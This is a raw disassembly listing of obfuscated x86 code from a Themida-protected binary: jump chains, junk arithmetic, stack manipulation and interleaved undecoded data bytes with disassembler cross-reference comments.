mov eax, 4
jmp loc_554792
; ---------------------------------------------------------------------------
db 33h
dd 77E92414h
db 73h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553A9F: ; CODE XREF: Themida_:0055C1DCj
add esi, 147462CBh
sub esp, 4
jmp loc_55A9A1
; ---------------------------------------------------------------------------
loc_553AAD: ; CODE XREF: Themida_:00564E5Dj
push dword ptr [esp]
pop edx
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 55CA34F5h
inc esi
jmp loc_561F31
; ---------------------------------------------------------------------------
dw 0DE89h
dd 0F0315F5Bh, 0E92434FFh, 4761h
; ---------------------------------------------------------------------------
loc_553AD4: ; CODE XREF: Themida_:005574D7j
pop edi
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5565F7
; ---------------------------------------------------------------------------
loc_553AE0: ; CODE XREF: Themida_:00559B81j
pop ebp
sub ebp, 28A4CEA6h
push ebp
add dword ptr [esp], 6C2A40D3h
pop ebx
sub ebx, 6C2A40D3h
pop ebp
jmp loc_560757
; ---------------------------------------------------------------------------
loc_553AFC: ; CODE XREF: Themida_:0056772Aj
add eax, ebx
add eax, 66636A4Dh
jmp loc_55327E
; ---------------------------------------------------------------------------
loc_553B08: ; CODE XREF: Themida_:0055A872j
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
sub esp, 4
mov [esp], ecx
mov ecx, 631E47BAh
add ecx, 23651C99h
jmp loc_56159C
; ---------------------------------------------------------------------------
loc_553B2A: ; CODE XREF: Themida_:005572D6j
mov ebx, 1EF23C29h
and ebx, 4D3F1F19h
jmp loc_563779
; ---------------------------------------------------------------------------
loc_553B3A: ; CODE XREF: Themida_:0055F270j
push ebx
mov ebx, 68CB05D0h
push 7CB00757h
pop eax
xor eax, ebx
pop ebx
xchg eax, ecx
not ecx
jmp loc_563170
; ---------------------------------------------------------------------------
db 52h, 89h, 0E2h
dd 4C281h, 0C2830000h, 24148704h, 0BF8DE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553B66: ; CODE XREF: Themida_:005627F6j
add ebx, ecx
pop ecx
jmp loc_556943
; ---------------------------------------------------------------------------
aCbQrSM db 'C│кзq░^Ию╛',0
align 2
dw 0C181h
dd 4, 4E981h, 0C870000h, 2BE95C24h
db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553B8F: ; CODE XREF: Themida_:00559594j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_553BA3: ; CODE XREF: Themida_:005559EBj
add edi, 4
push ebp
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp]
mov esp, [esp]
push ebx
push esp
jmp loc_56553F
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 0E93A0404h, 0FFFFF5B9h, 5AD0295Dh, 0B7A9E9h
db 0
; ---------------------------------------------------------------------------
loc_553BD5: ; CODE XREF: Themida_:00557AF9j
mov cl, 88h
add bl, cl
pop ecx
pop edx
push ebx
push 2F9Ah
mov [esp], edx
push eax
push 69E377D3h
jmp loc_55854B
; ---------------------------------------------------------------------------
db 0FEh
dd 0CAEE80CEh, 4CF5E9h, 7878BD00h, 0CBE0582h, 816BDA90h
dd 2D70EEEEh, 84C68148h, 817D737Eh, 0B578C8C6h, 0E9EE0158h
dd 10432h, 87EF814Fh, 1CB7C95h, 0F2E95FFDh
db 8Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C2B: ; CODE XREF: Themida_:005562B0j
xor edi, 20F30543h
neg edi
neg edi
push ecx
mov ecx, 0
jmp loc_555B7F
; ---------------------------------------------------------------------------
dd 8ADBC168h, 0C52958BAh, 88E58158h, 816CE121h, 49178BC5h
dd 9C08E910h, 0EC830000h, 24348904h, 4CE9E689h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C67: ; CODE XREF: Themida_:0055A70Bj
sub edi, esi
mov esi, [esp]
jmp loc_566248
; ---------------------------------------------------------------------------
db 5Fh, 81h, 0C5h
dd 18102486h, 5310C581h, 0FD01782Eh, 1C42E953h, 53660001h
dd 4F0494B3h, 0C237E9h
db 0
; ---------------------------------------------------------------------------
loc_553C91: ; CODE XREF: Themida_:00556DBAj
push ebx
mov ebx, 15E05A5h
sub ebx, 20E14DAAh
jmp loc_55AC67
; ---------------------------------------------------------------------------
loc_553CA2: ; CODE XREF: Themida_:0055D8E3j
mov ecx, [esp]
add esp, 4
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_553CB0: ; CODE XREF: Themida_:0055E995j
pop esp
push 6FB8h
mov [esp], ebx
sub dword ptr [esp], 332326EBh
mov ebp, [esp]
add esp, 4
add ebp, 332326EBh
mov ebx, [esp]
add esp, 4
sub dword ptr [esp+4], 6B544212h
add [esp+4], ebp
add dword ptr [esp+4], 6B544212h
pop ebp
pop dword ptr [eax]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 5EF6B90h
shl edi, 3
jmp loc_5562D1
; ---------------------------------------------------------------------------
dd 2B850h, 0C5010000h, 4EC8358h, 0FF242C89h, 5D042474h
dd 5C24048Fh, 0F66E1F6h, 6866CCB6h, 8966683Ch, 0F66240Ch
dd 5166C8B6h, 0EE7DE99Ch, 0C483FFFFh, 0E3895304h, 4BD55h
dd 0EB010000h, 1DF7E9h
db 0
; ---------------------------------------------------------------------------
loc_553D51: ; CODE XREF: Themida_:00559C8Bj
xchg ebp, [esp]
jmp loc_55323B
; ---------------------------------------------------------------------------
db 66h, 53h, 88h
dd 88D3F6C3h, 865B66D8h, 8B012444h, 89512414h, 4C181E1h
dd 81000000h, 4C1h, 240C8700h, 23F6805Ch, 5774E9h
db 0
; ---------------------------------------------------------------------------
loc_553D85: ; CODE XREF: Themida_:0055886Ej
pop ecx
jmp loc_55E4B1
; ---------------------------------------------------------------------------
db 1
aUsS db 'НИ╣▒',0
align 2
dw 590Dh
dd 40688548h, 461C352Dh, 0E9C701B4h, 0BCE2h, 4246C81h
dd 33205DF8h, 5E2434FFh, 4C481h, 34FF0000h, 24348B24h
dd 11D40E9h
db 0
; ---------------------------------------------------------------------------
loc_553DC1: ; CODE XREF: Themida_:0055AFC8j
dec eax
sub esp, 4
mov [esp], edx
jmp loc_55C4A0
; ---------------------------------------------------------------------------
dd 1A5127BFh, 5FFD3170h, 505DEB29h, 7A5D68h, 243C8900h
dd 85677DBFh, 7E7C172h, 73B3EF81h, 0F889E5BEh, 58C3215Fh
dd 8904EC83h, 6853243Ch, 281615FDh, 1CF3815Bh, 8169C34Bh
dd 0FFFFFFC3h, 4EC81FFh, 89000000h, 0E5682414h, 5A1F333Ch
dd 6DD8CA81h, 0F74234CFh, 2ECA81DAh, 81594849h, 0CECF8EF2h
dd 5AD331D4h, 215BDF89h, 4FE95FFBh
db 0F8h, 2 dup(0FFh)
byte_553E43 db 0ACh ; DATA XREF: Themida_:00552B14o
dd 4EC81h, 0C890000h, 4EC8324h, 0E9240489h, 6B97h, 61F5814Dh
dd 4D27365Ch, 4768C581h, 0F5815632h, 0DC052096h, 1AE9EF21h
db 1Bh, 1, 0
; ---------------------------------------------------------------------------
loc_553E73: ; CODE XREF: Themida_:00554F9Fj
xor [esp], eax
xor eax, [esp]
pop esp
shr ecx, 0Ah
jmp loc_5620D0
; ---------------------------------------------------------------------------
dw 1C89h
aSA db '$И{М',0
align 2
loc_553E8A: ; CODE XREF: Themida_:0055E02Aj
mov [esp], ebp
push 1CB0h
mov [esp], esi
mov esi, 2A715B7h
push edx
mov edx, 1E5B913Eh
jmp loc_55E7DB
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 0FF04C483h, 8E92434h, 55000086h, 1D03BA52h, 51576B92h
dd 1D73E9h
db 0
; ---------------------------------------------------------------------------
loc_553EC1: ; CODE XREF: Themida_:00564E98j
add esp, 4
mov ecx, [esp]
add esp, 4
mov ebp, [esp]
jmp loc_563DFF
; ---------------------------------------------------------------------------
loc_553ED2: ; CODE XREF: Themida_:00564A74j
mov ecx, [esp]
jmp loc_5635A6
; ---------------------------------------------------------------------------
dw 4868h
dd 5E265969h, 8107EEC1h, 77F030C6h, 0FAFE9DDh, 0ED800001h
dd 0E95866E8h, 976h, 4CB0E95Bh, 0C890000h, 0E9B1B124h
dd 11D3Eh
; ---------------------------------------------------------------------------
loc_553F08: ; CODE XREF: Themida_:00558374j
xor ebx, edi
pop edi
shr ebx, 8
and ebx, 2A8C34A8h
push edi
mov edi, 2C645C2Bh
xor edi, 7B770B66h
sub esp, 4
mov [esp], ebx
jmp loc_55A3D4
; ---------------------------------------------------------------------------
loc_553F2E: ; CODE XREF: Themida_:00567F9Aj
add ecx, 4
sub ecx, 4
jmp loc_566F96
; ---------------------------------------------------------------------------
loc_553F3C: ; CODE XREF: Themida_:0055EC46j
shr edi, 4
jmp loc_5646A6
; ---------------------------------------------------------------------------
dd 0E207D5B8h, 8E8C112h, 0AB2B4B0Dh, 4825483Dh, 0C10EAD3Eh
dd 0B93506E0h, 310F1E95h, 0F80158C7h, 0FFF469E9h, 0E8BD55FFh
dd 8141A13Fh, 0E02D7EC7h, 8AEF8110h, 29275D07h, 8AC781EFh
dd 81275D07h, 0E02D7EEFh, 81475D10h, 0B967EAC7h, 0EA8141h
dd 104D607h, 0C281FAh, 0FF04D607h, 835F2434h, 148704C4h
dd 24248B24h, 9C2404D2h, 0FFEC06E9h, 0E0C15AFFh, 2AF3E904h
dd 93BF0000h, 815ADC09h, 3427D7F7h, 0B4EE927h, 0DFF70000h
dd 43BDE781h, 0C781484Fh, 0FFBFFDECh, 0E34EE9h
db 0
; ---------------------------------------------------------------------------
loc_553FE1: ; CODE XREF: Themida_:00566F50j
mov ebx, 5E79482Ah
xor eax, ebx
pop ebx
not eax
not eax
jmp loc_560918
; ---------------------------------------------------------------------------
dw 0D001h
dd 8904EC83h, 67BA2414h, 68658B27h, 6C9Dh, 0E9241489h
dd 5C3Bh, 8B240433h, 8B662424h, 1FE92414h, 5000003h, 33A07638h
dd 0FFF292E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554025: ; CODE XREF: Themida_:0055BCBCj
add ebx, edx
pop edx
jmp loc_55D4B9
; ---------------------------------------------------------------------------
byte_55402D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552A74o
dd 0FF545124h, 0C8B2434h, 4C48324h, 0B3AE950h, 48B0000h
dd 4C48124h, 5F000000h, 0FFEB6AE9h, 16CA80FFh, 80F5CA80h
dd 0C28053EAh, 8BD130F6h, 82E92414h, 290000B9h, 81585DEFh
dd 0D051EBC7h, 6850h, 3C290000h, 53AEE924h, 248B0000h
dd 241C8924h, 0D2E9E389h, 0FF000023h, 57582434h, 76ABE9h
dd 2C48300h, 66F58766h, 45C8F581h, 0FFE82966h, 2C8B2434h
dd 84E95324h, 58000073h, 81E28952h, 4C2h, 4C28100h, 87000000h
dd 3E92414h, 50000122h, 0B4242C81h, 5951F654h, 54B4C181h
dd 48B51F6h, 4C48124h, 81000000h, 53AFAE1h, 0F1814151h
dd 1D9D4FD7h, 2E95152h, 0BB000123h, 266611F9h, 0EE0BC381h
dd 0DE01D999h, 4C6835Bh, 416468h, 24348900h, 42474FFh
dd 8324348Bh, 48F04C4h, 24248B24h, 1B4868h, 24148900h
dd 0A2CEE9h, 0EB814B00h, 52BF2662h, 1C8BDA01h, 0ECECE924h
dd 1C890000h, 34D4BB24h, 0EBC1799Dh, 812EE908h, 0B8BA0000h
dd 424CDC4Ah, 1CE2C281h, 0EA8148F1h, 67F42F7Dh, 7540EA81h
dd 0F2816674h, 0C764C2DAh, 815AD089h, 0C020BBC1h, 81C1011Fh
dd 0C020BBE9h, 0BD55581Fh, 2, 0F78BF57h, 0E7C11B3Bh, 4EC8102h
dd 89000000h, 34B9240Ch, 3132A404h, 240C8BCFh, 0FFF36AE9h
dd 0E4C281FFh, 0C1758603h, 0B5E908EAh, 5B0000F7h, 70FEC681h
dd 846817E8h, 89000041h, 0AFE9242Ch, 5D0000CDh, 81E78957h
dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 0C3315C24h, 4EC81h
dd 0C890000h
db 24h, 54h, 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
mov esi, 40A26AC8h
xor esi, 40A26ACCh
add ecx, esi
pop esi
jmp loc_55F94B
; ---------------------------------------------------------------------------
db 54h, 8Bh, 4
aSq db '$ИО-',0
align 2
dw 815Dh
dd 0ED6FF6F2h, 4B36E946h, 1C890000h, 81E38924h, 4C3h, 4EC8100h
dd 0E9000000h, 41Bh, 3C8BF801h, 4EC8324h, 68240489h, 20F0h
dd 1027CE9h, 240C8700h, 0FEE4E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554256: ; CODE XREF: Themida_:0055575Aj
pop esp
jmp loc_55F63C
; ---------------------------------------------------------------------------
dd 31240433h, 4332404h, 24248B24h, 9CC83B66h, 0FFE94AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554271: ; CODE XREF: Themida_:00561831j
add esp, 4
jmp loc_55DAC8
; ---------------------------------------------------------------------------
loc_554279: ; CODE XREF: Themida_:005597C4j
pop esi
add esp, 4
sub esp, 4
mov [esp], eax
push ebp
push 43A96A9Eh
pop ebp
sub ebp, 56D3502Dh
add ebp, 59B1F06Dh
mov eax, ebp
pop ebp
push ecx
mov ecx, 178759FDh
push edx
mov edx, 11D817B6h
xor edx, 3D812823h
xor edx, 2C593F94h
add ecx, edx
jmp loc_55C05A
; ---------------------------------------------------------------------------
loc_5542BE: ; CODE XREF: Themida_:0055837Fj
pop ecx
and ecx, eax
mov eax, [esp]
jmp loc_55FFFD
; ---------------------------------------------------------------------------
byte_5542C9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005529F8o
dd 419589Dh, 0E4E99C24h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5542D7: ; CODE XREF: Themida_:0056247Dj
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_55334A
; ---------------------------------------------------------------------------
loc_5542EE: ; CODE XREF: Themida_:0055F175j
push esp
jmp loc_565C94
; ---------------------------------------------------------------------------
dd 37C8BD55h, 0EF29600Fh, 0DD0CE9h, 0F7814F00h, 7ECB5B2Eh
dd 815FFB89h, 351CC7EDh, 0AC58103h, 29685E08h, 0AED81DDh
dd 81685E08h, 351CC7C5h, 0E03BE903h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55432A: ; CODE XREF: Themida_:0055E1ABj
mov edx, 4
add esi, 4E600C06h
jmp loc_56430A
; ---------------------------------------------------------------------------
dw 5452h
dd 0E924148Bh, 134B5h, 48BC301h, 4C48124h, 1000000h, 1BEB81F3h
dd 5E76D679h, 1C8B0388h, 4C48124h, 0E9000000h, 0A5B9h
dd 10EC80h, 10C480F4h, 5ECC05Ah, 6802E4C0h, 1DA6h, 66241489h
dd 8893B551h, 9B9E9EAh, 0D7B90001h, 1733575h, 0ED8159CDh
dd 1EA41E93h, 80E9DD01h
db 78h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55439F: ; CODE XREF: Themida_:0055AF44j
push esp
mov ebp, [esp]
jmp loc_562B7A
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 4C6800h, 4890000h, 0E9E08924h, 1C52h
; ---------------------------------------------------------------------------
loc_5543C0: ; CODE XREF: Themida_:0055AD46j
xor ecx, 0F640AE4Bh
mov ebx, ecx
pop ecx
inc ebx
shl ebx, 3
jmp loc_55F5A7
; ---------------------------------------------------------------------------
dw 0E9C1h
dd 1E98303h, 0F5D1E981h, 0CD291487h, 592434FFh, 607DE9h
db 0
; ---------------------------------------------------------------------------
loc_5543E9: ; CODE XREF: Themida_:0055F61Bj
pop edx
add ebx, 5C35684Fh
sub ebx, 573301Ch
push ebp
jmp loc_55B6F0
; ---------------------------------------------------------------------------
loc_5543FC: ; CODE XREF: Themida_:005603F8j
or ebp, edx
jmp loc_566BA0
; ---------------------------------------------------------------------------
byte_554403 db 66h ; DATA XREF: Themida_:00552A98o
dd 81240C8Bh, 4ECh, 243C8900h, 5CE9E789h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554417: ; CODE XREF: Themida_:0055FC46j
add ecx, 4
push eax
mov eax, 4
add ecx, eax
pop eax
jmp loc_55A58B
; ---------------------------------------------------------------------------
db 8Bh
dd 8B662424h, 0EC832404h, 243C8904h, 4BA4E9h
db 0
; ---------------------------------------------------------------------------
loc_55443D: ; CODE XREF: Themida_:0056643Dj
push ecx
jmp loc_5660F4
; ---------------------------------------------------------------------------
byte_554443 db 66h ; DATA XREF: Themida_:00552A3Co
dd 5124048Bh, 7B8568h, 24248900h, 2D7668h, 0E458E900h
dd 48B0000h, 60BE924h, 0F5010000h, 4ED835Eh, 0E9242C87h
dd 13E3Dh
; ---------------------------------------------------------------------------
loc_554470: ; CODE XREF: Themida_:0055F9B9j
pop ebx
push 54BFh
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5634F5
; ---------------------------------------------------------------------------
db 89h
dd 0F6E4E9E1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554496: ; CODE XREF: Themida_:00562E7Ej
add ebx, 4
push ebx
jmp loc_560E24
; ---------------------------------------------------------------------------
dw 0E829h
dd 0E9C2015Dh, 885Bh, 0DAF7D2F7h, 4542E281h, 0F2813DCCh
dd 28484006h, 565AD301h, 9E5FE9h, 24348700h, 9D42E95Ch
dd 0D9F70000h, 0E6ADE9h, 0C335A00h, 240C3124h, 0E06DE9h
dd 246C8100h, 0FD28DF04h, 815D5E7Dh, 4C5h, 30E6800h, 0C890000h
dd 2B924h, 0CEE90000h
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554503: ; CODE XREF: Themida_:005531ABj
add esp, 4
shl esi, 5
jmp loc_5568D8
; ---------------------------------------------------------------------------
word_55450E dw 8B66h ; DATA XREF: Themida_:00552AD8o
dd 71E92404h
db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554517: ; CODE XREF: Themida_:00564C12j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_559B9F
; ---------------------------------------------------------------------------
loc_554525: ; CODE XREF: Themida_:00556949j
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_560584
; ---------------------------------------------------------------------------
dd 0E99C5066h, 0FFFFE67Fh, 5C240C33h, 0B1240C89h, 4DC180BDh
dd 80CDB652h, 0E9809DC6h, 87E980DFh, 0C180F128h, 0D056E987h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55455E: ; CODE XREF: Themida_:0055F3E3j
pop ecx
push eax
mov eax, 0F892088h
add eax, 12F448E3h
shr eax, 6
xor eax, 21947C1Fh
sub eax, 13944C3Dh
jmp loc_559BA7
; ---------------------------------------------------------------------------
dd 4245401h, 8904EC83h, 0BA2414h, 124C103h, 5A082454h
dd 0F756E9h, 2E06800h, 0C890000h, 0A00AE924h, 0E95A0000h
dd 0FFFFE613h, 51FFC180h, 592414F6h, 0DD54E9h, 81E18900h
dd 4C1h, 4C18100h, 0E9000000h, 6B3Bh, 0FFE5EEE9h, 815B54FFh
dd 4C3h, 0F6A5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5545DA: ; CODE XREF: Themida_:0055D0E6j
add ebx, 45A327ECh
add ebx, 256D6B4Ch
pop ecx
jmp loc_568038
; ---------------------------------------------------------------------------
dd 31240433h, 5E92404h, 58000111h, 0E9241433h, 0C4AEh
; ---------------------------------------------------------------------------
loc_554600: ; CODE XREF: Themida_:00556C0Ej
sub eax, 787543B2h
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
jmp loc_566963
; ---------------------------------------------------------------------------
db 0E9h, 0A5h, 0E5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554616: ; CODE XREF: Themida_:00560FF4j
push edx
jmp loc_561F38
; ---------------------------------------------------------------------------
loc_55461C: ; CODE XREF: Themida_:0055493Fj
xchg cl, bh
dec bh
sub bh, 50h
xor bh, 58h
jmp loc_563EED
; ---------------------------------------------------------------------------
db 66h
dd 4766DFF7h, 48EF8166h, 0F781662Fh, 33E95EAFh, 0F600012Bh
dd 0D5C480D4h, 0F658E500h, 80CDFED5h, 25E9DFC5h, 89000097h
dd 4BF243Ch
db 3 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5659DF
; ---------------------------------------------------------------------------
dd 0F509E956h, 0E9510000h, 75h, 3099E95Ch, 0D1890000h
dd 8324148Bh, 0C0E904C4h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55468B: ; CODE XREF: Themida_:00567EA6j
sub esp, 4
mov [esp], edx
mov dl, 62h
xor dl, 0F8h
xor dl, 0E9h
push ecx
mov ch, dl
not ch
jmp loc_55BE4E
; ---------------------------------------------------------------------------
loc_5546A3: ; CODE XREF: Themida_:005655A2j
xor ebx, 29532269h
mov edx, ebx
pop ebx
jmp loc_567507
; ---------------------------------------------------------------------------
db 87h, 4, 24h
dd 46F5E95Ch, 0F7810000h, 3DB60047h, 34FFF829h, 0C4815F24h
dd 4, 31240433h, 4332404h, 9EB3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5546DA: ; CODE XREF: Themida_:00553253j
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_55914D
; ---------------------------------------------------------------------------
dd offset loc_407868
align 2
dw 8F54h
dd 4812404h, 424h, 0BF575900h, 4FC32BF3h, 0E37E9h, 0C7835800h
dd 243C8704h, 24048F5Ch, 2404085Ch, 5811E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55471E: ; CODE XREF: Themida_:005657E0j
sub esi, 4E6A191Eh
sub esi, edx
push ecx
mov ecx, 4E6A191Eh
add esi, ecx
pop ecx
sub esi, 369F4C83h
mov edx, [esp]
add esp, 4
mov eax, esi
push dword ptr [esp]
pop esi
push edx
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 1AD2149Dh
xor ebx, 151F4A4Ah
jmp loc_564A4E
; ---------------------------------------------------------------------------
dd 0BB241C89h, 3EC65E91h, 4EC81h, 2C890000h, 6DA4BD24h
dd 0D5F72228h, 0DAFEE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55477E: ; CODE XREF: Themida_:0055D1FDj
push ebx
mov ebx, 27D334C9h
jmp loc_565C7B
; ---------------------------------------------------------------------------
db 86h, 44h, 24h
dd 0F5C7E901h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554792: ; CODE XREF: Themida_:00553A92j
add ebp, eax
push dword ptr [esp]
pop eax
push ecx
jmp loc_5606E8
; ---------------------------------------------------------------------------
aS8 db '╥╢И8{',0
dd 10685100h, 8B21A50Ch, 0C481240Ch, 4, 779CE9h, 46E95900h
dd 8B0000E8h, 0A3E92424h, 1FFFFEEh, 0E6E958C7h, 8B0000DDh
dd 89562414h, 4C681E6h, 83000000h, 37E904C6h, 810000A3h
dd 0E209EAC6h, 0A5F68130h, 0E90AD40Bh, 0F7EAh, 40558h
dd 0E8830000h, 667BE904h, 85680000h, 89000046h, 0F9BE2434h
dd 0E9288806h, 49DEh, 0FB2DE801h, 5D2DB056h, 0E4627505h
dd 0E3055970h, 173D417h, 368EE9C6h, 0C7810000h, 4, 8704EF83h
dd 895C243Ch, 74FF241Ch, 1C8B0424h, 4C48324h, 0E924048Fh
dd 0EBD9h
; ---------------------------------------------------------------------------
loc_554850: ; CODE XREF: Themida_:00558A44j
mov esp, [esp]
push edi
jmp loc_55F259
; ---------------------------------------------------------------------------
loc_554859: ; CODE XREF: Themida_:0055F009j
xor ebx, 50161E3h
jmp loc_557019
; ---------------------------------------------------------------------------
loc_554864: ; CODE XREF: Themida_:0055B67Aj
sub eax, 221B2EBh
jmp loc_554D26
; ---------------------------------------------------------------------------
dw 0EE88h
dd 6E6C059h, 0EEC0CEFEh, 0F371E902h, 0E953FFFFh, 5EE8h
; ---------------------------------------------------------------------------
loc_554884: ; CODE XREF: Themida_:00564EE2j
mov [esp], esi
mov esi, esp
add esi, 4
push 1B29h
mov [esp], ebp
push eax
jmp loc_56537D
; ---------------------------------------------------------------------------
loc_55489D: ; CODE XREF: Themida_:00561474j
push edi
mov edi, 28CC7B0Fh
shr edi, 8
shr edi, 8
add edi, 1
inc edi
push 146Fh
mov [esp], edx
jmp loc_557992
; ---------------------------------------------------------------------------
db 81h, 34h, 24h
dd 6E825CB5h, 5CB53558h, 0EC836E82h, 24048904h, 0AB242C81h
dd 5A61C108h, 8ABC281h, 1DE961C1h, 570000A1h, 4443E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5548EA: ; CODE XREF: Themida_:005603C4j
xchg edx, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_55F589
; ---------------------------------------------------------------------------
loc_5548F8: ; CODE XREF: Themida_:0055E644j
mov edx, 409875BBh
xor ebp, edx
jmp loc_55FFC0
; ---------------------------------------------------------------------------
dd 4C781h, 3C870000h, 24248B24h, 34BF5756h, 0E935C242h
dd 53Bh, 5E240CFFh, 8108EEC1h, 0CE7CAEEEh, 0A45EE9B4h
dd 0F2810000h, 201B57CBh, 98E9D389h
db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55493B: ; CODE XREF: Themida_:00564614j
xchg cl, bh
inc cl
jmp loc_55461C
; ---------------------------------------------------------------------------
dd 0C581E589h, 4, 4ED81h, 0F6E90000h, 310000EFh, 4E959CFh
dd 0F60000A2h, 0B6EE80D6h, 11E9F028h
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55496B: ; CODE XREF: Themida_:0055B5C3j
push esp
pop esi
jmp loc_567D94
; ---------------------------------------------------------------------------
aWhuA db 'WhU',8,'²',0
aS_6 db 'ИЁ╣',0
dd 88525100h, 5AD588FAh, 88EA8852h, 8FE95AD4h
db 80h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55498F: ; CODE XREF: Themida_:00565C76j
mov esi, 706EBCh
sub esi, 3B630E31h
jmp loc_55BDDE
; ---------------------------------------------------------------------------
aSc_0 db ')хИГш',0
align 2
aZS db '^┤<$\ИиЁ',0
align 10h
dd 0EC81C801h, 4, 0BE243489h, 0C8B3B35h, 8B5EF001h, 0C483240Ch
dd 24043304h, 12082E9h, 5D595500h, 8159CB01h, 4C3h, 241C3300h
dd 57AEE9h, 0A2685A00h, 0E9000063h, 77BBh, 4C56BF57h, 0DFF7161Bh
dd 0DDC78147h, 993FB95h, 0F3815FFBh, 2B957DDAh, 525BD801h
dd 609C6857h, 555F4BE2h, 0FCA0E9h
db 0
; ---------------------------------------------------------------------------
loc_554A19: ; CODE XREF: Themida_:0055E655j
pop eax
pop ecx
push eax
push 4E7Fh
jmp loc_563283
; ---------------------------------------------------------------------------
dw 0C8Bh
aPs_0 db '$PИ/"',0
db 0
; ---------------------------------------------------------------------------
loc_554A2F: ; CODE XREF: Themida_:0055824Bj
inc edi
jmp loc_5611E3
; ---------------------------------------------------------------------------
aSyshm db '(ХYИHm',0
dd 242C8B00h, 4A2BE9h
db 0
; ---------------------------------------------------------------------------
loc_554A45: ; CODE XREF: Themida_:0055E735j
mov cl, 8
jmp loc_55F546
; ---------------------------------------------------------------------------
dd 24BB6866h, 24148966h, 0E512E9h, 0E9CB2800h, 87C1h, 5E08950h
dd 4, 4388E9h, 4C48100h, 81000000h, 31069FEAh, 50FA0123h
dd 31069FB8h, 7FC28123h, 0E937E011h, 1243Ch, 8704EB83h
dd 0E95C241Ch, 0AC2Dh
; ---------------------------------------------------------------------------
loc_554A98: ; CODE XREF: Themida_:00555479j
push 14F3h
mov [esp], edx
mov dh, 35h
push ebx
jmp loc_562B5F
; ---------------------------------------------------------------------------
dd 158C601h, 66E950CEh
db 18h, 1, 0
; ---------------------------------------------------------------------------
loc_554AB3: ; CODE XREF: Themida_:0055D7E1j
pop edx
mov eax, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_55B46F
; ---------------------------------------------------------------------------
db 89h
dd 62BA2414h, 8171B017h, 0EB194DEAh, 0EA814A0Ah, 490143F3h
dd 6341C281h, 0F3E97FD2h
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554AE7: ; CODE XREF: Themida_:00560A8Cj
pop edi
jmp loc_56558E
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 87000000h, 685C2414h, 57C3h, 68240C89h, 1C80h, 0BB241C89h
dd 2F00777Ah, 0FF88B6B9h, 0B9C181D0h, 0E979A914h, 887h
dd 16E9FD89h
db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
push eax
mov eax, 3339215Bh
push ebp
mov ebp, eax
jmp loc_55BB2A
; ---------------------------------------------------------------------------
loc_554B35: ; CODE XREF: Themida_:00552DD1j
add edi, 4
push 176Ch
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push 4FE6h
jmp loc_556F26
; ---------------------------------------------------------------------------
dw 3A68h
dd 0E91FF45Ah, 103A1h, 148BD788h, 4C48324h, 8B66FD28h
dd 0D2E9241Ch
db 0Fh, 1, 0
; ---------------------------------------------------------------------------
loc_554B73: ; CODE XREF: Themida_:005665BBj
pop esi
xchg edx, [esp]
jmp loc_561870
; ---------------------------------------------------------------------------
